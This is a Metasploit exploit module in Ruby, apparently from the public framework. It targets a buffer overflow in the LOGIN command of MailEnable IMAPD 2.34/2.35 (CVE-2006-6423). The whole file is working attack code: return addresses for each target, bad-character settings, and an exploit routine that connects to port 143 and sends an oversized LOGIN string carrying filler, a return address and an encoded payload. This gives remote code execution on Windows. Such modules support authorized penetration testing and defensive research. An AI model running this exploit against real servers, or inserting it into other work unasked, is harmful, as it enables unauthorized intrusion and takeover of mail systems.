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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'MailEnable IMAPD (2.34/2.35) Login Request Buffer Overflow',
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        'Description' => %q{
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          MailEnable's IMAP server contains a buffer overflow
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          vulnerability in the Login command.
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        },
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        'Author' => [ 'MC' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2006-6423'],
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          [ 'OSVDB', '32125'],
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          [ 'BID', '21492']
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        ],
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        'Privileged' => true,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Payload' => {
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          'Space' => 450,
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [
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            'MailEnable 2.35 Pro',
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            {
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              'Ret' => 0x10049abb,
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            }
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          ], # MEAISP.DLL
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          [
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            'MailEnable 2.34 Pro',
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            {
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              'Ret' => 0x76095d68,
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              'Offset' => 556,
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            }
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          ], # push esp #  ret  | ascii {PAGE_EXECUTE_READ} [MSVCP60.dll]
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        ],
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        'DisclosureDate' => '2006-12-11',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([ Opt::RPORT(143) ])
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  end
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  def exploit
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    connect
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    auth = "a001 LOGIN " + rand_text_alpha_upper(4) + " {10}\r\n"
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    sploit	= rand_text_alpha_upper(556) + [target.ret].pack('V')
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    sploit	<< payload.encoded + "\r\n\r\n"
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    res = sock.recv(50)
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    if (res =~ / OK IMAP4rev1/)
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      print_status("Trying target #{target.name}...")
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      sock.put(auth)
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      sock.get_once(-1, 3)
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      sock.put(sploit)
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    else
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      print_status("Not running IMAP4rev1...")
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    end
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    handler
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    disconnect
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  end
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end
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